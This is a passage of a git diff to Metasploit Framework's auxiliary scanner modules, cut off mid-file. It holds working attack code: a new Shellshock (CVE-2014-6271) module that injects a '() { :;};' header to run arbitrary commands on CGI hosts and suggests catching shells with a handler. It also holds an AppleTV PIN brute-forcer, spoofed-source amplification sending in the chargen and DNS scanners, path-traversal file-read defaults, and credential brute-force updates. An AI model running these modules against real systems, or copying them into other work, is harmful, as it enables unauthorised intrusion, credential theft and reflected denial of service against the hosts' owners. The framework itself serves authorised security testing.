+48,28 @@ def initialize end def run_host(rhost) - begin - connect_udp - pkt = Rex::Text.rand_text_alpha_lower(1) - udp_sock.write(pkt) - r = udp_sock.recvfrom(65535, 0.1) + data = Rex::Text.rand_text_alpha_lower(1) + if spoofed? + scanner_spoof_send(data, rhost, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + begin + connect_udp + udp_sock.write(data) + r = udp_sock.recvfrom(65535, 0.1) - if r and r[1] - vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}") - res = r[0].to_s.strip - if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/)) - print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)") - report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length) + if r and r[1] + vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}") + res = r[0].to_s.strip + if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/)) + print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)") + report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length) + end end + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + ensure + disconnect_udp if self.udp_sock end - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - ensure - disconnect_udp if self.udp_sock end end end diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 538ecaf5a145..013ee57bd778 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -52,6 +52,8 @@ def run_host(ip) realm: datastore['DATABASE'] ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::DB2.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/discovery/empty_udp.rb b/modules/auxiliary/scanner/discovery/empty_udp.rb new file mode 100644 index 000000000000..c985fd24f4d8 --- /dev/null +++ b/modules/auxiliary/scanner/discovery/empty_udp.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + + def initialize + super( + 'Name' => 'UDP Empty Prober', + 'Description' => 'Detect UDP services that reply to empty probes', + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', + 'License' => MSF_LICENSE + ) + register_options([ + OptString.new('PORTS', [true, 'Ports to probe', '1-1024,1194,2000,2049,4353,5060,5061,5351,8443']) + ], self.class) + end + + def setup + super + @ports = Rex::Socket.portspec_crack(datastore['PORTS']) + raise Msf::OptionValidateError.new(['PORTS']) if @ports.empty? + end + + def scanner_prescan(batch) + print_status("Sending #{@ports.length} empty probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + end + + def scan_host(ip) + @ports.each do |port| + scanner_send('', ip, port) + end + end + + def scanner_process(data, shost, sport) + print_good("Received #{data.inspect} from #{shost}:#{sport}/udp") + report_service(:host => shost, :port => sport, :proto => 'udp', :info => data.inspect) + end +end diff --git a/modules/auxiliary/scanner/dns/dns_amp.rb b/modules/auxiliary/scanner/dns/dns_amp.rb index 1b9469603c79..57767986fe4b 100644 --- a/modules/auxiliary/scanner/dns/dns_amp.rb +++ b/modules/auxiliary/scanner/dns/dns_amp.rb @@ -8,7 +8,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report + include Msf::Exploit::Capture include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::DRDoS def initialize super( @@ -89,7 +91,12 @@ def scanner_prescan(batch) end def scan_host(ip) - scanner_send(@msearch_probe, ip, datastore['RPORT']) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@msearch_probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@msearch_probe, ip, datastore['RPORT']) + end end def scanner_process(data, shost, sport) diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index 20dae7114b91..0ab4ea0c3b46 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -66,6 +66,8 @@ def run_host(ip) prepended_creds: anonymous_creds ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::FTP.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index 5e2191961e7e..37968cbcdc8c 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -45,7 +45,7 @@ def initialize [ Opt::RPORT(21), OptString.new('TRAVERSAL', [ true, "String to traverse to the drive's root directory", "..\\..\\" ]), - OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'windows\\win.ini']) ], self.class) end diff --git a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb index 761d32eed39c..1b3fedaeb04f 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb @@ -37,7 +37,7 @@ def initialize(info = {}) register_options( [ Opt::RPORT(8161), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4]) ], self.class) end diff --git a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb new file mode 100644 index 000000000000..0fdf0f50b0ef --- /dev/null +++ b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb @@ -0,0 +1,111 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection', + 'Description' => %q{ + This module exploits a code injection in specially crafted environment + variables in Bash, specifically targeting Apache mod_cgi scripts through + the HTTP_USER_AGENT variable by default. + + PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your + CMD, set ExitOnSession false, run -j, and then run this module to create + sessions on vulnerable hosts. + }, + 'Author' => [ + 'Stephane Chazelas', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2014-6271'], + ['URL', 'https://access.redhat.com/articles/1200223'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + ], + 'DisclosureDate' => 'Sep 24 2014', + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to CGI script']), + OptString.new('METHOD', [true, 'HTTP method to use', 'GET']), + OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']), + OptString.new('CMD', [true, 'Command to run (absolute paths required)', + '/usr/bin/id']) + ], self.class) + + @marker = marker + end + + def check_host(ip) + res = req("echo #{@marker}") + + if res && res.body.include?(@marker * 3) + report_vuln( + :host => ip, + :port => rport, + :name => self.name, + :refs => self.references + ) + return Exploit::CheckCode::Vulnerable + elsif res && res.code == 500 + injected_res_code = res.code + else + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path.to_s) + }) + + if res && injected_res_code == res.code + return Exploit::CheckCode::Unknown + elsif res && injected_res_code != res.code + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Unknown + end + + def run_host(ip) + return unless check_host(ip) == Exploit::CheckCode::Vulnerable + + res = req(datastore['CMD']) + + if res && res.body =~ /#{@marker}(.+)#{@marker}/m + print_good("#{peer} - #{$1}") + report_vuln( + :host => ip, + :port => rport, + :name => self.name, + :refs => self.references + ) + end + end + + def req(cmd) + send_request_cgi( + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path), + 'headers' => { + datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}" + } + ) + end + + def marker + Rex::Text.rand_text_alphanumeric(rand(42) + 1) + end + +end diff --git a/modules/auxiliary/scanner/http/appletv_login.rb b/modules/auxiliary/scanner/http/appletv_login.rb new file mode 100644 index 000000000000..bc10f6de601a --- /dev/null +++ b/modules/auxiliary/scanner/http/appletv_login.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'AppleTV AirPlay Login Utility', + 'Description' => %q( + This module attempts to authenticate to an AppleTV service with + the username, 'AirPlay'. The device has two different access control + modes: OnScreen and Password. The difference between the two is the + password in OnScreen mode is numeric-only and four digits long, which + means when this option is enabled, this option, the module will make + sure to cover all of them - from 0000 to 9999. The Password mode is + more complex, therefore the usual online bruteforce strategies apply. + ), + 'Author' => + [ + '0a29406d9794e4f9b30b3c5d6702c708', # Original + 'thelightcosine' # LoginScanner conversion help + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://nto.github.io/AirPlay.html'] + ], + 'DefaultOptions' => { + 'RPORT' => 7000, # AppleTV's server + 'STOP_ON_SUCCESS' => true # There's only one password with the same username + } + ) + + register_options( + [ + OptBool.new('Onscreen', [false, 'Enable if AppleTV is using the Onscreen access control', false]), + OptPath.new('PASS_FILE', [ + false, + 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt') + ] + )], self.class) + + deregister_options( + 'USERNAME', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS', 'NTLM::SendLM', 'NTLM::SendNTLM', + 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', + 'REMOVE_USERPASS_FILE', 'REMOVE_USER_FILE', 'DOMAIN' + ) + end + + def run_host(ip) + uri = "/stop" + if datastore['PASS_FILE'] && !datastore['PASS_FILE'].empty? + print_status("Attempting to login to #{uri} using password list") + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + username: 'AirPlay', + user_as_pass: datastore['USER_AS_PASS'], + ) + else + print_status("Attempting to login to #{uri} by 'Onscreen Code'") + cred_collection = LockCodeCollection.new + end + + scanner = Metasploit::Framework::LoginScanner::HTTP.new( + host: ip, + port: rport, + uri: "/stop", + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id, + service_name: 'airplay' + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login(credential_data) + when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED + print_brute :level => :error, :ip => ip, :msg => "NO AUTH REQUIRED: '#{result.credential}'" + break + end + end + end + + # This class is just a faster way of doing our LockCode enumeration. We could just stick this into + # a CredentialCollection, but since we have a pre-set range we iterate through, it is easier to do it + # at runtime. + class LockCodeCollection + + def each + (0..9999).each do |pass| + screen_code = Metasploit::Framework::Credential.new(public: 'AirPlay', private: pass.to_s.rjust(4, '0'), realm: nil, private_type: :password ) + yield screen_code + end + end + end +end + diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index 4b5f678b1dbd..b7d3f8cf5329 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/axis2' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -72,6 +73,8 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'], ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::Axis2.new( host: ip, port: rport, @@ -80,6 +83,8 @@ def run_host(ip) cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], connection_timeout: 5, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 7801400f3e96..52da06b7da13 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -4,6 +4,8 @@ ## require 'msf/core' +require 'metasploit/framework/login_scanner/glassfish' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -16,18 +18,21 @@ def initialize super( 'Name' => 'GlassFish Brute Force Utility', 'Description' => %q{ - This module attempts to login to GlassFish instance using username - and password combindations indicated by the USER_FILE, PASS_FILE, - and USERPASS_FILE options. + This module attempts to login to GlassFish instance using username and password + combindations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + It will also try to do an authentication bypass against older versions of GlassFish. + Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option + to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely. }, 'Author' => [ - 'Joshua Abraham <jabra[at]rapid7.com>' + 'Joshua Abraham <jabra[at]spl0it.org>', # @Jabra + 'sinn3r' ], 'References' => [ ['CVE', '2011-0807'], - ['OSVDB', '71948'], + ['OSVDB', '71948'] ], 'License' => MSF_LICENSE ) @@ -37,196 +42,161 @@ def initialize Opt::RPORT(4848), OptString.new('TARGETURI', [true, 'The URI path of the GlassFish Server', '/']), OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']), + OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) ], self.class) end # - # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and - # banner (ex: Sun Java System Application Server 9.x) + # Module tracks the session id, and then it will have to pass the last known session id to + # the LoginScanner class so the authentication can proceed properly # - def get_version(res) - #Extract banner from response - banner = res.headers['Server'] || '' - - #Default value for edition and glassfish version - edition = 'Commercial' - version = 'Unknown' - - #Set edition (Open Source or Commercial) - p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ - edition = 'Open Source' if banner =~ p - - #Set version. Some GlassFish servers return banner "GlassFish v3". - if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/ - version = $2 - elsif banner =~ /GlassFish v(\d)/ and version.nil? - version = $1 - elsif banner =~ /Sun GlassFish Enterprise Server v2/ and version.nil? - version = '2.x' - elsif banner =~ /Sun Java System Application Server 9/ and version.nil? - version = '9.x' - end - - print_status("Unsupported version: #{banner}") if version.nil? or version == 'Unknown' - - return edition, version, banner - end - - def log_success(user,pass) - print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :source_type => "user_supplied", - :active => true - ) - end - # - # Send GET or POST request, and return the response - # - def send_request(path, method, session='', data=nil, ctype=nil) - - headers = {} - headers['Cookie'] = "JSESSIONID=#{session}" if session != '' - headers['Content-Type'] = ctype if ctype != nil - headers['Content-Length'] = data.length if data != nil - - uri = normalize_uri(target_uri.path) - res = send_request_raw({ - 'uri' => "#{uri}#{path}", - 'method' => method, - 'data' => data, - 'headers' => headers, - }, 90) - - return res + # Overrides the ssl method from HttpClient + def ssl + @scanner.ssl || datastore['SSL'] end # - # Try to login to Glassfish with a credential, and return the response + # For a while, older versions of Glassfish didn't need to set a password for admin, + # but looks like no longer the case anymore, which means this method is getting useless + # (last tested: Aug 2014) # - def try_login(user, pass) - data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&" - data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&" - data << "loginButton=Login" - - path = '/j_security_check' - res = send_request(path, 'POST', '', data, 'application/x-www-form-urlencoded') - - return res - end - - def try_glassfish_auth_bypass(version) - print_status("Trying GlassFish authentication bypass..") + def is_password_required?(version) success = false - if version == '2.x' or version == '9.x' - res = send_request('/applications/upload.jsf', 'get') + if version =~ /^[29]\.x$/ + res = send_request_cgi({'uri'=>'/applications/upload.jsf'}) p = /<title>Deploy Enterprise Applications\/Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) + if (res && res.code.to_i == 200 && res.body.match(p) != nil) success = true end - else - # 3.0 - res = send_request('/common/applications/uploadFrame.jsf', 'get') + elsif version =~ /^3\./ + res = send_request_cgi({'uri'=>'/common/applications/uploadFrame.jsf'}) p = /<title>Deploy Applications or Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) + if (res && res.code.to_i == 200 && res.body.match(p) != nil) success = true end end - if success == true - print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => '', - :pass => '', - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :source_type => "user_supplied", - :active => true - ) - else - print_error("#{target_host()} - GlassFish - Failed authentication bypass") - end - - return success + success end - def try_glassfish_login(version,user,pass) - success = false - session = '' - res = '' - if version == '2.x' or version == '9.x' - print_status("Trying credential GlassFish 2.x #{user}:'#{pass}'....") - res = try_login(user,pass) - if res and res.code == 302 - session = $1 if res && res.get_cookies =~ /JSESSIONID=(.*); /i - res = send_request('/applications/upload.jsf', 'GET', session) - - p = /<title>Deploy Enterprise Applications\/Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true - end - end - else - print_status("Trying credential GlassFish 3.x #{user}:'#{pass}'....") - res = try_login(user,pass) - if res and res.code == 302 - session = $1 if res && res.get_cookies =~ /JSESSIONID=(.*); /i - res = send_request('/common/applications/uploadFrame.jsf', 'GET', session) - - p = /<title>Deploy Applications or Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true - end - end - end + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - if success == true - log_success(user,pass) - else - msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" - print_error(msg) - end + @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( + host: ip, + port: rport, + uri: datastore['URI'], + proxies: datastore["PROXIES"], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5 + ) - return success, res, session + @scanner.ssl = datastore['SSL'] + @scanner.ssl_version = datastore['SSLVERSION'] end - def run_host(ip) - #Invoke index to gather some info - res = send_request('/common/index.jsf', 'GET') + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end - #Abort if res returns nil due to an exception (broken pipe or timeout) - if res.nil? - print_error("Unable to get a response from the server.") - return + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end end + end - if res.code.to_i == 302 - res = send_request('/login.jsf', 'GET') - end - #Get GlassFish version - edition, version, banner = get_version(res) - path = normalize_uri(target_uri.path) - target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" - print_status("#{target_url} - GlassFish - Attempting authentication") - if (version == '2.x' or version == '9.x' or version == '3.0') - try_glassfish_auth_bypass(version) + # + # main + # + def run_host(ip) + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg + return end - each_user_pass do |user, pass| - try_glassfish_login(version, user, pass) + print_brute :level=>:status, :ip=>rhost, :msg=>('Checking if Glassfish requires a password...') + if @scanner.version =~ /^[239]\.x$/ && is_password_required?(@scanner.version) + print_brute :level => :good, :ip => ip, :msg => "Note: This Glassfish does not require a password" + else + print_brute :level=>:status, :ip=>rhost, :msg=>("Glassfish is protected with a password") end + + bruteforce(ip) unless @scanner.version.blank? end end diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb index d06884238bc1..5d4cba9b9a52 100644 --- a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -38,7 +38,7 @@ def initialize(info = {}) register_options( [ Opt::RPORT(7181), # Also 7180 can be used - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10]) ], self.class) end diff --git a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb index aa3f8d162fdd..ca6f16b516b5 100644 --- a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb @@ -40,7 +40,7 @@ def initialize(info = {}) [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\ OptInt.new('DEPTH', [true, 'Traversal depth', 6]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb index e2fb7b6c7089..8f67ca8f61e1 100644 --- a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb @@ -39,7 +39,7 @@ def initialize(info = {}) [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb index 2bed6856e2f1..8ab0fdc4a4a3 100644 --- a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb @@ -39,7 +39,7 @@ def initialize(info = {}) [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb index 2f0dee051d30..93c5f5275a04 100644 --- a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb @@ -39,7 +39,7 @@ def initialize(info = {}) [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\bin\ OptInt.new('DEPTH', [true, 'Traversal depth', 4]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb index 43ab32f55d43..d9e803983b67 100644 --- a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb +++ b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb @@ -39,7 +39,7 @@ def initialize(info = {}) [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\boot.ini']) + OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\windows\\win.ini']) ], self.class) end diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index d859c12eb76c..b03ac496b79e 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -38,7 +38,7 @@ def initialize register_options( [ Opt::RPORT(8080), - OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']), + OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index 710a3abecb75..1186c521d0d8 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -38,7 +38,7 @@ def initialize register_options( [ Opt::RPORT(8080), - OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']), + OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']), ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index e6a952ae97fa..ac40eb19d459 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -4,6 +4,8 @@ ## require 'msf/core' +require 'metasploit/framework/login_scanner/smh' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -21,81 +23,172 @@ def initialize(info={}) }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], - 'DefaultOptions' => { 'SSL' => true } + 'DefaultOptions' => + { + 'SSL' => true, + 'RPORT' => 2381, + 'USERPASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt"), + 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt"), + 'PASS_FILE' => 